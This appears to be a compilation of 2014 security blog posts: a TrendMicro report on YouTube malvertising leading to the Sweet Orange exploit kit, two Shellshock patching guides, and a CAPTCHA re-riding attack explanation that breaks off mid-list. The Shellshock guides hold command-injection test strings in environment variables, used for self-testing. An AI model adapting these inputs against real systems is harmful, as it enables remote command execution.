2014 | 1769

YouTube Malvertising : Ads on YouTube leads users to Sweet Orange exploit kit

<div dir="ltr" style="text-align: left;" trbidi="on">
<h2>
<em>YouTube Ads lead to exploit kits, YouTube serving ‘malvertising’?</em></h2>
<em>You
 may have heard of the term malvertising and threats posed by it. 
Malvertising is usually served by hackers using shady sites or hacking 
legitimate ones to spread malware payload.  Researchers at TrendMicro 
Labs have found out that even Google’s own YouTube is being used by 
hackers to show up such rogue ads.  This ads lead users to exploit kits 
which can steal their identity, personal information or banking details.</em><br />
<em>The blog report states that,</em><br />
<blockquote>
<em>Recently,
 we saw that this campaign was showing up in ads via YouTube as well. 
This was a worrying development: not only were malicious ads showing up 
on YouTube, they were on videos with more than 11 million views – in 
particular, a music video uploaded by a high-profile record label.</em></blockquote>
<em>TrendMicro
 has been researching on malvertising trends for past few months and 
have come to this surprising conclusion. TrendMicro  goes on to state 
that neither Google and YouTube is serving the malicious ads, rather, 
the hackers seem to be operating from ad campaigns bought from 
legitimate advertisers. TrendMicros state,</em><br />
<blockquote>
<em>The
 ads we’ve observed do not directly lead to malicious sites from 
YouTube. Instead, the traffic passes through two advertising sites, 
suggesting that the cybercriminals behind this campaign bought their 
traffic from legitimate ad providers.</em></blockquote>
<h2>
<em>What is Malvertising</em></h2>
<em>Here
 is a brief intro into the world of malvertising for your.  Malvertising
 involves injecting malicious or malware laden advertisements into 
legitimate online advertising networks and web pages. Online legitimate 
advertisements provide a solid platform for spreading malware to hackers
 and cyber criminals because of the significant effort is put into them 
in order to attract users and sell or advertise the product. Because 
advertising content can be inserted into high-profile and reputable 
websites and using legitimate advertising networks, it provides the 
hackers a excellent opportunity to inject/execute their malicious 
payload.</em><br />
<h2>
<em>How was YouTube used?</em></h2>
<em>Apparently
 the hackers took to YouTube because it belongs to the search giant 
Google and provides them with excellent opportunity to spread their 
malware.</em><br />
<em>In order to make their activity look legitimate,
 the attackers used the modified DNS information of a Polish government 
site. The attackers did not compromise the actual site; instead they 
were able to change the DNS information by adding subdomains that lead 
to their own servers. TrendMicro is unclear as to how the hackers 
achieved this.</em><br />
<em>TrendMicro found out that the malvertising
 traffic passed through two redirection servers (located in the 
Netherlands) before ending up at the malicious server, located in the 
United States.</em><br />
<em>TrendMicro noticed that exploit kit used 
in YouTube malvertising attack was the Sweet Orange exploit kit. Sweet 
Orange is known for using four vulnerabilities, namely:</em><br />
<em><a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2460" target="_blank">CVE-2013-2460 – Java</a></em><br /> <em> .<a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-2460" target="_blank">CVE-2013-2551 – Internet Explorer</a></em><br /> <em> <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0515" target="_blank">CVE-2014-0515 – Flash</a></em><br /> <em> <a href="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0322" target="_blank">CVE-2014-0322 – Internet Explorer</a></em><br />
<em>TrendMicro
 further found that that this particular version of Sweet Orange uses 
vulnerabilities in Microsoft’s Internet Explorer browser to spread its 
malware along with old versions fo Flash and Java. They also noticed 
that The URL of the actual payload constantly changes, but they all used
 the subdomains on the same Polish site mentioned above. Further the, 
the behavior of these payloads are identical.</em><br />
<em>TrendMicro found the following hashes as being as part of this attack:</em><br />
<blockquote>
<em>09BD2F32048273BD4A5B383824B9C3364B3F2575</em><br /> <em> 0AEAD03C6956C4B0182A9AC079CA263CD851B122</em><br /> <em> 1D35B49D92A6E41703F3A3011CA60BCEFB0F1025</em><br /> <em> 32D104272EE93F55DFFD5A872FFA6099A3FBE4AA</em><br /> <em> 395B603BAD6AFACA226A215F10A446110B4A2A9D</em><br /> <em> 6D49793FE9EED12BD1FAA4CB7CBB81EEDA0F74B6</em><br /> <em> 738C81B1F04C7BC59AD2AE3C9E09E305AE4FEE2D</em><br /> <em> A1A5F8A789B19BE848B0F2A00AE1D0ECB35DCDB0</em><br /> <em> A7F3217EC1998393CBCF2ED582503A1CE4777359</em><br /> <em> C75C0942F7C5620932D1DE66A1CE60B7AB681C7F</em><br /> <em> E61F76F96A60225BD9AF3AC2E207EA340302B523</em><br /> <em> FF3C497770EB1ACB6295147358F199927C76AF21</em></blockquote>
<em>The final payloads of this attack are variants of the KOVTER malware family, which are detected as <a href="http://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/TROJ_KOVTER.SM" target="_blank">TROJ_KOVTER.SM</a>.
 This particular family is known for its use in various ransomware 
attacks, although they lack the encryption of more sophisticated attacks
 like Cryptolocker. The websites that TROJ_KOVTER.SM accesses in order 
to display the fake warning messages are no longer accessible.</em><br />
<em>Microsoft
 on its part had already assessed the above said vulnerability in IE and
 released a patch to fix the same in May 2013. Those users who have 
updated IE, Java, and Adobe are safe from this attack. The older version
 you use the more susceptible you are to exploits as they are still 
being used by the cyber criminals.</em><br />
<em>TrendMicro has already notified Google and hopefully Google will take actions against the malvertisers soon.</em></div>

YouTube Malvertising : Ads on YouTube leads users to Sweet Orange exploit kit

YouTube Ads lead to exploit kits, YouTube serving ‘malvertising’? You may have heard of the term malvertising and threats posed by it. ...

Protect Your System from the Shellshock Exploit

On Wednesday, the world learned about a bug in the popular Unix, Linux, and Mac OS X command line interpreter Bash.<br />

<a href="https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/" rel="external nofollow" target="_blank">Discovered by engineers at Red Hat</a>,
 this bug is known as Shellshock, and allows an attacker to run commands
 in the Bash shell. Since the bug was announced, Bash has been updated 
for the major platforms it affects—so it’s pretty easy to update and 
protect systems.<br />

But there’s a problem: Bash is so widespread, and installed on so 
many devices—such as cable modems, routers, and other devices with 
embedded Linux operating systems—that it will be difficult, if not 
impossible, to fully patch everything that’s affected. (Windows users 
are generally unaffected by Shellshock, unless they’ve specifically 
installed Bash along with Cygwin, Git Bash, or other third-party 
packages.)<br />

And that’s what makes it so important to update and protect what you’re able to fix.<br />

A quick bit of test code has been making the rounds on the Internet, 
which lets you know whether the version of Bash you have installed is 
vulnerable to Shellshock. In particular, it contains a malformed 
environment function, in this case x:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">env x='() { :;}; echo vulnerable' bash -c "echo done running"</code></b></i></span></pre>
Paste that into the command line on your system, being sure to get 
the quotes right: single quotes after “x=”, and also after “vulnerable”,
 and double quotes around “echo done running”. Make sure that your 
system hasn’t converted them to smart quotes.<br />

If your version of Bash is vulnerable, the shell will incorrectly 
interpret this environment function, and will execute the command after 
it—in this case, a very innocent ‘echo’ command that prints the word 
‘vulnerable’.<br />

And you can see that’s exactly what happened. An attacker could use 
similar code, but with a more malicious command or set of commands. This
 code could be delivered in various ways, such as through a CGI script 
on a web server.<br />

Now let’s take a look at how to fix it.<br />

<h2>
Updating Bash on Ubuntu / Debian</h2>
On Ubuntu, you’ll want to make sure to get the latest information from the update repositories:<br />

<pre class="line-numbers language-markup"><code class=" language-markup">sudo apt-get update</code></pre>
And then you’ll want to get the latest version of bash:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">sudo apt-get install bash</code></b></i></span></pre>
<span style="background-color: lime;"><i><b>
</b></i></span>Next restart the system.<br />

You’ll then run the test code from earlier. Here I’ll do the same:<br />

In my example, you can see instead of ‘vulnerable’, I get some 
errors, where the updated version of Bash caught the error, and reacted 
correctly.<br />

<h2>
Updating Bash on CentOS / Red Hat</h2>
On CentOS, you’ll need to install the latest version of Bash:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">sudo yum update bash</code></b></i></span></pre>
Then restart the system.<br />

After that, run the test code. It’s catching the problem now, instead of executing the code it shouldn’t be running:<br />

<h2>
Updating Bash on Mac OS X</h2>
On Mac OS X, the operation is a little bit more complicated. The Mac 
platform doesn’t have a package manager like apt or yum provided by 
Apple, so until Apple makes an update available, we need to either build
 an updated version of Bash from source, or use one of the third-party 
package managers that are available.<br />

<em><strong>Heads up:</strong></em> although I’ll step through how to
 update Bash using the command line below, I strongly recommend that you
 use any official patch Apple provides, when it becomes available. If 
you’re not a developer, or are unfamiliar with command line workflows, 
it’s probably in your best interest to wait until Apple makes a more 
automated patch available through the App Store.<br />

<h3>
Using the Homebrew Package Manager</h3>
First let’s take a look at updating Bash with the Homebrew package manager.<br />

Homebrew is a package manager, similar to apt or yum, which allows 
Mac users to install open-source packages from the command line. To 
install it, paste this line into your Terminal. Further information 
about HomeBrew is <a href="http://brew.sh/" rel="external nofollow">available on their website, at brew.sh</a>.<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">ruby -e "$(curl -fsSL <a class="token url-link" href="https://raw.githubusercontent.com/Homebrew/install/master/install">https://raw.githubusercontent.com/Homebrew/install/master/install</a>)"</code></b></i></span></pre>
Then, run:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">brew doctor
brew update</code></b></i></span></pre>
And type:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">brew upgrade bash</code></b></i></span></pre>
This will download and build the current version of Bash, and put it into a private folder: /usr/local/Cellar/bash/4.3.25/bin.<br />

You’ll need to replace your system’s copy of Bash with this version. First make a backup copy of the existing version:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">sudo cp /bin/bash /bin/bash.previous</code></b></i></span></pre>
And make sure a clever attacker can’t easily run your backup copy:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">sudo chmod a-x /bin/bash.previous</code></b></i></span></pre>
Then copy Brew’s version to your /bin folder:<br />
<span style="background-color: lime;"><i><b>
</b></i></span><pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">sudo cp /usr/local/Cellar/bash/4.3.25/bin/bash /bin</code></b></i></span></pre>
And restart your system.<br />

Running the test code, I can see that this version of Bash is patched.<br />

<h3>
Building from source</h3>
Next let’s take a look at building Bash from source. To do this, 
you’ll need the Xcode developer tools, available from Apple. I’ll 
download the source code for Bash from Apple:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">curl -O <a class="token url-link" href="https://opensource.apple.com/tarballs/bash/bash-92.tar.gz">https://opensource.apple.com/tarballs/bash/bash-92.tar.gz</a></code></b></i></span></pre>
Then unpack it:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">tar zxf bash-92.tar.gz</code></b></i></span></pre>
Go into the source code folder:<br />
<span style="background-color: lime;"><i><b>
</b></i></span><pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">cd bash-92
cd bash-3.2</code></b></i></span></pre>
After that, I’ll download the patched code from the GNU Foundation:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">curl <a class="token url-link" href="https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052">https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052</a> | patch -p0</code></b></i></span></pre>
and I’ll pipe it to the patch command to apply the changes.<br />

I’ll move up a directory:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">cd ..</code></b></i></span></pre>
Then I’ll use xcodebuild to build the source code:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">sudo xcodebuild</code></b></i></span></pre>
<span style="background-color: lime;"><i><b>
</b></i></span>This leaves me with two executable files in the Release build folder: bash and sh:<br />
<span style="background-color: lime;"><i><b>
</b></i></span><pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">cd build/Release
ls -lah</code></b></i></span></pre>
Now I’ll make backup copies of my existing versions of these, just in case:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">sudo cp /bin/bash /bin/bash.previous
sudo cp /bin/sh /bin/sh.previous</code></b></i></span></pre>
And I’ll make them not executable:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">sudo chmod a-x /bin/sh.previous /bin/bash.previous</code></b></i></span></pre>
Then replace the old versions with the patched versions:<br />
<span style="background-color: lime;"><i><b>
</b></i></span><pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">sudo cp bash /bin
sudo cp sh /bin</code></b></i></span></pre>
I’ll restart the system.<br />

Now, when I run the test code, I can see that my version of Bash has been patched.<br />

Of course, you should also keep an eye out for, and install, any 
relevant firmware updates released by device vendors. Stay safe out 
there!<br />

<br />
UPDATE 5/26/2014
On September 26th, a second vulnerability in Bash was patched. This 
patch has been added to the RedHat and Ubuntu repositories, so if you 
patched your system before the 26th, you’ll need to do it again to get 
the patch for the second vulnerability. If you haven’t, just follow the 
steps for your Linux distribution listed below.<br />

The patch has not yet become available for Mac OS X, but Apple 
reports that they are working on a fix. Mac users, keep an eye out for a
 Security Update from Apple.<br />

You can test for this vulnerability by pasting this command into your terminal:<br />

<pre class="line-numbers language-markup"><span style="background-color: lime;"><i><b><code class=" language-markup">env X='() { (a)=>\' sh -c "echo date"; cat echo</code></b></i></span></pre>
If you see the current date and time, your system is vulnerable — the
 shell is interpreting the ‘echo date’ command incorrectly (it should 
return ‘date’) but instead it’s running date as a command. It’s innocent
 in this example, but could be replaced with a malicious command by a 
less-than-ethical attacker:<br />

If you don’t see the current date and time, your system has a patched version of the shell:<br />

Protect Your System from the Shellshock Exploit

On Wednesday, the world learned about a bug in the popular Unix, Linux, and Mac OS X command line interpreter Bash. Discovered by engin...

Every Mac Is Vulnerable to the Shellshock Bash Exploit: Here's How to Patch OS X

<div dir="ltr" style="text-align: left;" trbidi="on">
Heartbleed,
 move over. There's a new bug in town, and this time it's also affecting
 Mac and Linux computers. It's called Shellshock (its original official 
title is CVE-2014-6271), and it's currently got a 10 out of 10 severity 
rating over at the <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271" rel="nofollow" target="_blank">National Cyber Awareness System</a>. While some updates have been issued to fix this bug, they were <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169" rel="nofollow" target="_blank">incomplete</a>, and your system is probably still vulnerable, as it has been for the last <a href="http://www.nydailynews.com/news/national/shellshock-bug-threatens-mac-linux-computers-article-1.1952516" rel="nofollow" target="_blank">probably 20 years</a>.<br />

<section>
<h2 class="sectionHeadline">
UPDATE 9/26/2014</h2>
A new patch addresses an additional attack vector known as <a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-7169" rel="nofollow" target="_blank">CVE-2014-7169</a>.<br />
If you followed these instructions before 3:10 p.m. PDT on Friday, September 26th, 2014, please delete your <strong>bash-fix</strong> directory (you can find it in <strong>Users</strong> -> <strong>Username</strong>
 via the Finder) and follow all the steps below again (starting with 
Step #1) to ensure that your system is fully patched. If you did not 
already update manually, the <em>do not</em> delete the bash-fix directory.<br />
The instructions now fully address both vulnerabilities and should be the last patch you need to perform.</section>
<section>
<h2 class="sectionHeadline">
What Is Bash?</h2>
Bash is a command-line 
shell used in many Linux- and Unix-based operating systems, including 
Mac OS X. If bash is the default system shell on your computer, it can 
be used by remote hackers for network-based attacks. With a simple script,
 a hacker can launch programs or enable features on your computer 
without any passwords needed and without your knowledge. They could 
access your files, copy confidential information, delete data, run 
programs, and more.<br />
While the likelihood of your personal Mac 
being targeted by an attack is relatively small, it's still a big issue 
that will hopefully get a real and working patch soon. Until then, there
 are a few things you can do.</section>
<section>
<h2 class="sectionHeadline">
Testing for Vulnerability #1</h2>
In a 
Terminal window, type in the following command into the shell, followed 
by the Enter key. Terminal can be found in Utilities in your 
Applications folders, or via a quick Spotlight search.<br />
<ul>
<li><em>env x='() { :;}; echo vulnerable' bash -c "echo this is a test"</em></li>
</ul>
</section>
<section>
<h2 class="sectionHeadline">
The Good Result</h2>
If your system is not vulnerable to the Shellshock bug, it will return something similar to the below output.<br />
<em>bash: warning: x: ignoring function definition attempt</em><br /><em>bash: error importing function definition for `x'</em><br /><em>this is a test</em></section>
<section>
<h2 class="sectionHeadline">
The Bad Result</h2>
If your system is indeed vulnerable to Shellshock, you'll see the following instead.<br />
<em><strong>vulnerable</strong></em><br /><em>this is a test</em><br />
 <figure class="whtGallery" id="37866602docPartGal880013" role="group"><div class="gallery-layout" style="height: 133px; overflow: visible;">
   <div class="gallery-layout-container">
<figure class="gal-row gal-row-f gal-wa img-shadow" data-index="0" style="width: 532px;"><a href="http://img.wonderhowto.com/img/original/44/79/63547241843450/0/635472418434504479.jpg" rel="nofollow" target="_blank"><img alt="" src="http://img.wonderhowto.com/img/44/79/63547241843450/0/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x.w654.jpg" style="height: 133px; max-width: 532px; width: auto;" /></a></figure></div>
</div>
</figure> </section>
<section>
<h2 class="sectionHeadline">
Testing for Vulnerability #2 (Added 9/26/2014)</h2>
If
 you pass the first test, use the following test to see if you're 
vulnerable from the second attack vector, which was discovered on 
Thursday.<br />
<ul>
<li><em>env X='(){(a)=>\' bash -c "echo date"; cat echo; rm -f echo</em></li>
</ul>
</section>
<section>
<h2 class="sectionHeadline">
The Good Result</h2>
If your system is fine, you'll see something like the following (without any printout of the current date and time).<br />
<em>date</em><br /><em>cat: echo: No such file or directory</em></section>
<section>
<h2 class="sectionHeadline">
The Bad Result</h2>
If your system is indeed vulnerable to the second attack vector, you'll see the following instead.<br />
<em>date</em><br /><em><The Current Date and Time></em><br />
 <figure class="whtGallery" id="10912700docPartGal880021" role="group"><div class="gallery-layout" style="height: 326px; overflow: visible;">
   <div class="gallery-layout-container">
<figure class="gal-row gal-row-f gal-wa img-shadow" data-index="0" style="width: 532px;"><a href="http://img.wonderhowto.com/img/original/36/81/63547344478120/0/635473444781203681.jpg" rel="nofollow" target="_blank"><img alt="" src="http://img.wonderhowto.com/img/36/81/63547344478120/0/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x.w654.jpg" style="height: 326px; margin-left: 0px; max-width: 532px; width: auto;" /></a></figure></div>
</div>
</figure> </section>
<section>
<h2 class="sectionHeadline">
Is There an Update Yet?</h2>
Many Linux distros have already released patches for Shellshock (though they were mostly <a href="https://access.redhat.com/articles/1200223" rel="nofollow" target="_blank">incomplete</a>), but Mac OS X has not received anything yet, and Apple hasn't even commented on the issue. There was a <a href="http://support.apple.com/kb/HT6400" rel="nofollow" target="_blank">recent 10.9.5 update</a> for Mavericks, but it has nothing pertaining to this issue.<br />
If you're worried, though, there is a way to manually update your GNU bash version to a more secure one, thanks to <a href="http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271-and-cve-2014-7/" rel="nofollow" target="_blank">some users over at StackExchange</a>.</section>
<section>
<h2 class="sectionHeadline">
Check Your Current Bash Version</h2>
To 
see what version bash you have installed on your Mac, in a Terminal 
window, enter the following command (followed by the Enter key) into the
 shell.<br />
<ul>
<li><em>bash --version</em></li>
</ul>
If you get <strong>GNU bash, version 3.2.51(1)-release</strong>, then you'll want to manually update to the newest version of bash 3.2, which is <strong>3.2.53</strong>. Also, if you've already used this guide to update to <strong>3.2.52(1)-release</strong>, then you'll want to perform everything below again to make sure you're fully protected.<br />
There
 are newer versions of bash out there, but Mac OS X runs off the 3.2 
branch. If you're using Linux, you'll want to make sure the patch you 
download matches the version of bash you're using. The latest patches 
for all major versions of bash (including 3.0, 3.1, 3.2, 4.0, 4.1, 4.2, 
and 4.3) can be found <a href="https://ftp.gnu.org/pub/gnu/bash/" rel="nofollow" target="_blank">here</a>.</section>
<section>
<h2 class="sectionHeadline">
Manually Updating Bash - Initial Requirements</h2>
You can manually compile the newest bash version (3.2.53) using the below instructions, but you have to have <a href="https://developer.apple.com/xcode/downloads/" rel="nofollow" target="_blank">Apple's Xcode</a> installed on your Mac for this to work. If you don't have it, follow the instructions in the Prerequisite Check section below.<br />
If you don't want to update bash, there is <a href="https://access.redhat.com/articles/1200223" rel="nofollow" target="_blank">a workaround provided by Red Hat</a>, but it hasn't been tested fully, so I wouldn't recommend it.</section>
<section>
<h2 class="sectionHeadline">
Prerequisite Check</h2>
You'll need to 
make sure you have Xcode installed, and have agreed to Apple's terms. 
For older Macs, you'll also need to make sure you have all the command 
line tools.<br />
You can download Xcode for free from the <a href="https://itunes.apple.com/us/app/xcode/id497799835?mt=12" rel="nofollow" target="_blank">Mac App Store</a>.<br />
If
 you're on an older version of Mac OS X and Xcode isn't available for 
you in the Mac App Store, you can download older versions by searching 
for the proper version number after logging into Apple's developer 
portal <a href="https://developer.apple.com/downloads/index.action" rel="nofollow" target="_blank">here</a>
 with your Apple ID. If you're on Mac OS X 10.7 or 10.8, search for 
"Xcode 4.6.3" in the Downloads for Apple Developers search box on the 
left side of the page.<br />
Once you've installed Xcode, launch it from
 your Applications folder and agree to Apple's license agreement (the 
initial launch may take a while). After that, you'll want to confirm 
that you have all of the command line tools. To do so, do the following:<br />
<ol>
<li>With Xcode open, click the <strong>Xcode</strong> menu in your top menu bar.</li>
<li>Click <strong>Preferences</strong>.</li>
<li>Click the <strong>Downloads</strong> tab.</li>
<li>Click <strong>Install</strong> next to the <strong>Command Line Tools</strong> in the list of downloads.</li>
</ol>
<strong>Note:</strong> If you don't see "Command Line Tools" in the downloads tab, then that means you've already got them and are ready to go!<br />
Once done, you have everything you need to patch your system.</section>
<section>
<h2 class="step">
Step 1: Download & Compile the Patch</h2>
Once 
you've confirmed you have Xcode installed, open Terminal again and enter
 the following commands. Each bullet point is one command, so make sure 
you copy the full line in each bullet point (minus the bullet, of 
course).<br />
<ul>
<li><em>mkdir bash-fix</em></li>
<li><em>cd bash-fix</em></li>
<li><em>curl <a href="https://opensource.apple.com/tarballs/bash/bash-92.tar.gz" rel="nofollow" target="_blank">https://opensource.apple.com/tarballs/bash/bash-92.tar.gz</a> | tar zxf -</em></li>
<li><em>cd bash-92/bash-3.2</em></li>
<li><em>curl <a href="https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052" rel="nofollow" target="_blank">https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052</a> | patch -p0</em></li>
<li><em>cd ..</em></li>
<li><em>xcodebuild</em></li>
</ul>
<figure class="whtGallery" id="18044166docPartGal880033" role="group"><div class="gallery-layout" style="height: 251px; overflow: visible;">
   <div class="gallery-layout-container">
<figure class="gal-row gal-row-f gal-wa img-shadow" data-index="0" style="width: 532px;"><a href="http://img.wonderhowto.com/img/original/87/88/63547241998809/0/635472419988098788.jpg" rel="nofollow" target="_blank"><img alt="" src="http://img.wonderhowto.com/img/87/88/63547241998809/0/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x.w654.jpg" style="height: 251px; margin-left: 0px; max-width: 532px; width: auto;" /></a></figure></div>
</div>
</figure> This
 process may take a while, and you'll see a lot of text appearing in the
 Terminal window. It's just Xcode compiling the new version of bash on 
your system. Once it's done, it'll say “BUILD SUCCEEDED” and you'll see a
 Terminal prompt again.<br />
 <figure class="whtGallery" id="21884545docPartGal880035" role="group"><div class="gallery-layout" style="height: 276px; overflow: visible;">
   <div class="gallery-layout-container">
<figure class="gal-row gal-row-f gal-wa img-shadow" data-index="0" style="width: 532px;"><a href="http://img.wonderhowto.com/img/original/93/79/63547242299762/0/635472422997629379.jpg" rel="nofollow" target="_blank"><img alt="" src="http://img.wonderhowto.com/img/93/79/63547242299762/0/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x.w654.jpg" style="height: 276px; margin-left: 0px; max-width: 532px; width: auto;" /></a></figure></div>
</div>
</figure> </section>
<section>
<h2 class="step">
Step 2: Download, Compile, & Build the Second Patch</h2>
This
 step was added on 9/26/2014 at 3:10 p.m. PDT to address the second 
vulnerability. Please see the "UPDATE" section at the top of this 
article for more information.<br />
<ul>
<li><em>mv build/bash.build/Release/bash.build/DerivedSources/y.tab.* bash-3.2/</em></li>
<li><em>cd bash-3.2</em></li>
<li><em>curl <a href="https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-053" rel="nofollow" target="_blank">https://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-053</a> | patch -p0</em></li>
<li><em>cd ..</em></li>
<li><em>xcodebuild</em></li>
</ul>
Again, you'll see “BUILD SUCCEEDED” when done.<br />
 <figure class="whtGallery" id="39459550docPartGal880039" role="group"><div class="gallery-layout" style="height: 325px; overflow: visible;">
   <div class="gallery-layout-container">
<figure class="gal-row gal-row-f gal-wa img-shadow" data-index="0" style="width: 532px;"><a href="http://img.wonderhowto.com/img/original/19/19/63547345047292/0/635473450472921919.jpg" rel="nofollow" target="_blank"><img alt="" src="http://img.wonderhowto.com/img/19/19/63547345047292/0/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x.w654.jpg" style="height: 325px; margin-left: 0px; max-width: 532px; width: auto;" /></a></figure></div>
</div>
</figure> </section>
<section>
<h2 class="step">
Step 3: Back Up Your Current Version (Just in Case)</h2>
Just
 in case something goes wrong, it's a good idea to back up your current 
version of bash. You can do so by entering the following two commands in
 Terminal.<br />
Note that you'll likely be prompted for a password when
 doing this step. If so, use the same password you use to log in to your
 Mac. You will not see your password in Terminal as you type, so it may 
take you few attempts if you have a complicated password.<br />
<ul>
<li><em>sudo cp /bin/bash /bin/bash.old</em></li>
<li><em>sudo cp /bin/sh /bin/sh.old</em></li>
</ul>
You won't see any confirmation, but it'll work, and if something goes wrong after Step #5 below, you can get back your old <em>un-patched</em>
 version of bash by reversing the above copy commands, to copy the 
".old" copies back over their original files (without the ".old" part).</section>
<section>
<h2 class="step">
Step 4: Verify the Version of Your New Build</h2>
Enter the following commands in Terminal to verify you've got the new version of the bash build on your computer.<br />
<ul>
<li><em>build/Release/bash --version</em></li>
<li><em>build/Release/sh --version</em></li>
</ul>
The output of these commands should confirm for you that the build version of bash is <strong>3.2.53(1)-release</strong>.</section>
<section>
<h2 class="step">
Step 5: Replace Your Old Bash with the Patched Version</h2>
Almost done. You just have to copy the new version of bash over your old version. Do so with the following Terminal commands.<br />
<ul>
<li><em>sudo cp build/Release/bash /bin</em></li>
<li><em>sudo cp build/Release/sh /bin</em></li>
</ul>
And
 that's it. Now just try out the test again and if it comes back with 
the good result (i.e., not the one that says "vulnerable"), then you're 
golden.<br />
<ul>
<li><em>env x='() { :;}; echo vulnerable' bash -c "echo this is a test"</em></li>
</ul>
And run the second test to confirm the current date and time don't print out:<br />
<ul>
<li><em>env X='(){(a)=>\' bash -c "echo date"; cat echo; rm -f echo</em></li>
</ul>
<figure class="whtGallery" id="34601862docPartGal880047" role="group"><div class="gallery-layout" style="height: 326px; overflow: visible;">
   <div class="gallery-layout-container">
<figure class="gal-row gal-row-f gal-wa img-shadow" data-index="0" style="width: 532px;"><a href="http://img.wonderhowto.com/img/original/20/31/63547345135339/0/635473451353392031.jpg" rel="nofollow" target="_blank"><img alt="" src="http://img.wonderhowto.com/img/20/31/63547345135339/0/every-mac-is-vulnerable-shellshock-bash-exploit-heres-patch-os-x.w654.jpg" style="height: 326px; margin-left: 0px; max-width: 532px; width: auto;" /></a></figure></div>
</div>
</figure> If
 the date does print out again, first check your user home directory to 
see if a file called "echo" was created when you ran the test the first 
time. If so, delete it and run the test again. If the date still prints 
out, chances are you missed part of the <em>new</em> Step #2 above. If 
you ever think you might of messed up a command, you can always start 
over by deleting your bash-fix folder and starting again from Step #1. 
Also note that you can delete the bash-fix folder if you're all good, 
too, because it's just a temporary folder.</section>
<section>
<h2 class="sectionHeadline">
For Homebrew or Macports Users</h2>
If you use Homebrew or Macports, you can get <a href="http://apple.stackexchange.com/questions/146849/how-do-i-recompile-bash-to-avoid-the-remote-exploit-cve-2014-6271-and-cve-2014-7/" rel="nofollow" target="_blank">instructions on updating bash</a> over at StackExchange.<br />
 
            </section></div>

Every Mac Is Vulnerable to the Shellshock Bash Exploit: Here's How to Patch OS X

Heartbleed, move over. There's a new bug in town, and this time it's also affecting Mac and Linux computers. It's called Shel...

CAPTCHA Re-Riding Attack

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal">
CAPTCHA Re-Riding Attack bypasses the CAPTCHA protection built into the 
web applications. The attack exploits the fact that the code that 
verifies CAPTCHA solutions sent by the user during form submissions does
 not clear the CAPTCHA solution from the HTTP Session. </div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<b>Impact:</b> <span style="font-family: Calibri, sans-serif; line-height: 115%;">A large number of successful submissions on CAPTCHA protected pages by riding on a single CAPTCHA solution.</span> </div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
</div>
<div class="MsoNormal">
<span style="font-family: 'Trebuchet MS', sans-serif;">A typical scenario to demonstrate the vulnerability is explained below. </span></div>
<div class="MsoNormal">
</div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">1.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">A user visits register page of the website.</span></div>
<div class="WhitePaperBodycopy" style="margin-bottom: .0001pt; margin-bottom: 0in; margin-left: .5in; margin-right: 0in; margin-top: 0in; mso-list: l0 level1 lfo1; text-indent: -.25in;">
<span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">2.<span style="font-family: 'Times New Roman'; font-size: 7pt; line-height: normal;">       </span></span><span style="font-family: Calibri, sans-serif; font-size: 11pt; line-height: 150%;">The
